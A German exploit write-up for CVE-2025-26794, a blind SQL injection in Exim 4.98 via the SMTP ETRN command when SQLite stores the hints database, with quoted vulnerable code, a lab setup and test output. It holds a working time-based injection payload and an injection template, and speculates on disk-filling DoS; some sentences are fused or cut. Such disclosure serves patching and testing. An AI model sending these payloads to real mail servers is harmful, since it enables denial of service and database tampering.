
CVE-2025-26794: Blinde SQL-Injection in Exim 4.98 (SQLite DBM) – Exploit-Writeup
Exim-Bericht: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
Ich habe diese Schwachstelle durch eine manuelle Code-Überprüfung entdeckt.
Die SQL-Parameter werden, wenn SQLite als DBM verwendet wird, nicht ordnungsgemäß bereinigt. Dadurch kann ein entfernter Benutzer eigene SQLite-Abfragen erstellen.
Exim verwendet eine interne Datenbank für die interne Schlüssel-Wert-Speicherung (genannt HintsDB), die verschiedene Backends unterstützt, die zur Build-Zeit festgelegt werden. Die neueste Ergänzung war SQLite. Sie wird verwendet, um Folgendes zu speichern:
enq_start()) für ETRN-Befehle und SMTP-ZustellungDie betroffene Datei ist hintsdb.h. Sie wurde in den letzten Commits in eine separate Datei (hints_sqlite.h) verschoben. Nur die SQLite-Funktionen sind betroffen (Beispielfunktion: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
Der Eingabeschlüssel wird nicht ordnungsgemäß maskiert. Wenn wir es also schaffen, den Schlüssel zu kontrollieren, können wir beliebigen SQLite-Code injizieren.
RFC1985 definiert den SMTP-ETRN-Befehl, „mit dem ein Client den Server bitten kann, die Verarbeitung seiner Mail-Warteschlangen für Nachrichten zu starten, die am Server für den Client-Rechner warten".
Er wird mit dem SMTP-Befehl ETRN #domain.com verwendet.
In Exim setzt der ETRN-Befehl einen Semaphor in der HintsDB, um zu vermeiden, dass mehrere ETRN-Befehle parallel ausgeführt werden.
Dieser Semaphor wird durch die Funktion enq_start(keyname, value) implementiert, die einen neuen Eintrag in der Datenbank „misc" erstellt.
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Zum Beispiel erstellt der SMTP-Befehl ETRN #test.com einen temporären DB-Eintrag in der SQLite-Datenbank „misc" mit dem Schlüssel „etrn-#test.com" und dem Wert 1.
Am Ende der Verarbeitung des ETRN-Befehls wird der DB-Eintrag entfernt:
enq_end(etrn_serialize_key);
Da wir den Schlüssel kontrollieren, können wir mit dem folgenden SMTP-Befehl unseren eigenen SQL-Code injizieren:
ETRN #',1); ## INSERT SQL HERE ## /*
Da es keine Ausgabe gibt, können wir einen zeitbasierten SQLi-Payload senden, um diese Schwachstelle remote zu testen:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE eine Verbindung zu anderen lokalen SQLite-Datenbanken herstellen (auf die der Exim-Benutzer Zugriff hat). Ich vermute, dass wir wahrscheinlich eine Race Condition in Exim ausnutzen könnten, um undefiniertes Verhalten auszulösen, indem wir uns in die anderen verwendeten Datenbanken einmischen. Das ist derzeit noch sehr hypothetisch.ETRN zu aktivieren (und ziemlich alt). Ich konnte nirgendwo sonst im Code eine Stelle finden, an der Benutzereingaben zur Erstellung der Abfragezeichenfolge verwendet werden.Das bedeutet, dass wir leicht einen DoS durchführen könnten (z. B. die Festplatte füllen), aber eine Eskalation zu Remote Code Execution würde mehr Arbeit erfordern, könnte aber möglich sein.
Hier ist ein lokales Docker-Lab, um diese Schwachstelle zu reproduzieren.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh baut das Image und meldet Sie im Container an.bash start-exim.sh aus, um den Exim-Server zu starten.nc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorIch habe ein Skript test.py entwickelt, um diese Schwachstelle remote zu testen.
python3 docker_lab/test.py <host>
Beispiel:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable